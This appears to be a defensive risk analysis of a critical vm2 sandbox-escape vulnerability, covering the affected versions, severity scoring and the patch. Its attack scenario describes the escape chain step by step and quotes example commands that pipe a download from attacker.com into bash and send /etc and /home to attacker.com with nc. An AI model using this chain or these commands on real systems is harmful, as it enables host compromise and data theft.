vm2 CVE-2026-43997

Remote unauthenticated exploitation against default configurations of vm2 versions ≤3.10.5 when the application accepts and executes untrusted JavaScript code through vm2's sandboxing API. No special vm2 configuration, non-default settings, or enabled features required-the vulnerability exists in vm2's core context isolation mechanism. Attack succeeds in any deployment where vm2.run() or related methods process attacker-controlled JavaScript, which is vm2's primary use case. The proof-of-concept requires Node.js environment with Buffer and WebAssembly APIs accessible within the sandbox (standard in vm2 default configuration). Limiting factors: requires vm2 ≤3.10.5 specifically; applications using alternative sandboxing (isolated-vm, worker_threads with proper isolation) are not affected. No user interaction required (UI:N). Attack complexity is low (AC:L) as the exploit chain is deterministic and does not depend on race conditions or probabilistic behavior.

This represents critical real-world risk despite no CISA KEV listing at analysis time. CVSS 10.0 with vector AV:N/AC:L/PR:N/UI:N/S:C indicates trivial remote exploitation requiring no authentication or user interaction, with scope change allowing escape from sandbox to host system. Publicly available exploit code exists with detailed proof-of-concept in the GitHub advisory demonstrating full command execution primitive. The vulnerability affects a widely-deployed security boundary component-any application using vm2 ≤3.10.5 to sandbox untrusted code is immediately exploitable for complete system compromise. Attack complexity is low; the POC provides a ready-to-use RCE chain. Scope change (S:C) reflects the architectural severity: escaping from sandboxed context to host process fundamentally defeats vm2's security purpose. The coordinated disclosure addressed 13 sandbox-escape vulnerabilities simultaneously, suggesting systemic architectural weaknesses. EPSS data not provided, but characteristics (network vector, authentication-free, working exploit, critical infrastructure component) indicate high probability of exploitation. Organizations using vm2 for untrusted code execution (common in serverless, code playgrounds, plugin systems) face immediate RCE risk. Patch available and upgrade path is clear (v3.11.0), making this a straightforward prioritization for any vm2 deployment.

An attacker submits malicious JavaScript to an application using vm2 for sandbox isolation (e.g., serverless function platform, online code playground, or plugin execution environment). The payload chains prototype traversal via __lookupGetter__ and Buffer.apply to obtain the host Object constructor, then extracts Symbol(nodejs.util.inspect.custom) using getOwnPropertySymbols. By crafting an object with the inspection symbol pointing to a malicious function and passing it to WebAssembly.compileStreaming, the attacker triggers util.inspect error handling in host context. The injected function executes with full Node.js privileges, calling process.getBuiltinModule('child_process').execSync to run arbitrary system commands (e.g., 'curl attacker.com/payload | bash' for reverse shell, 'tar czf - /etc /home | nc attacker.com 443' for data exfiltration, or cryptominer deployment). Publicly available proof-of-concept code in the GitHub advisory provides a working exploit primitive requiring no modification.